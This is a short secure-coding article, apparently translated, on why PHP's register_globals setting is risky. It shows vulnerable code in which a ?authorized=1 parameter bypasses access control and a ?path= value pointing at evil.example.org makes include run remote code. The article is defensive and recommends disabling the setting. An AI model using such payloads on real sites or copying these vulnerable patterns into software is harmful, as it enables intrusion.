The register_globals parameter is disabled by default in PHP versions 4.2.0 and above. While this is not considered a security vulnerability, it is certainly a security risk. Therefore, register_globals should always be masked during development.
Why is this a security risk? Each situation requires a separate explanation to describe it clearly, and it is very difficult to give just one appropriate example for every situation. Anyway, the most common example is described in the PHP manual:
<?phpif (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/sensitive/data.php';}? >When the parameter register_globals is turned on, this page can be accessed using the parameter ?authorized=1, thereby bypassing access control. Of course, this apparent vulnerability is the result of poor development rather than register_globals, but it clearly increases the potential for dangerous vulnerabilities. By eliminating this effect, ordinary global variables (such as $authorized in this example) will no longer be affected by data submitted by the client. The best way is to initialize all variables and set the error_reporting parameter to E_ALL so that the use of uninitialized variables will not be ignored during development.
Another example about register_globals is that problems may arise when using include to include dynamic paths:
<?phpinclude "$path/script.php";?> When the parameter register_globals is turned on, this page can use ?path=http%3A %2F%2Fevil.example.org%2F%3F parameter access makes the code in this example equivalent to the following code:
<?phpinclude 'http://evil.example.org/?/script.php';? >If the parameter allow_url_fopen is turned on (it is turned on by default even in php.ini-recommended), this will include remote files like http://evil.example.org/ as well as local files. This is a common security vulnerability found even in some very famous open source projects.
Initializing $path can avoid this hidden danger without shielding the parameter register_globals. However, developer mistakes may result in uninitialized variables. Modifying the global configuration to block the register_globals parameter can avoid this hidden danger from being ignored as much as possible.
Convenience is always nice. In the past we had to manually distinguish between form data and ordinary variables. It is also very convenient to use the built-in global arrays of $_POST and $_GET, and it is not worth taking the risk caused by turning on the register_globals parameter. While I completely disagree that turning on the register_globals parameter equates to weak security, I strongly recommend setting it off.
It should be added that blocking the register_globals parameter will help developers pay more attention to the source of data, and this is exactly the quality that a security-conscious developer should have.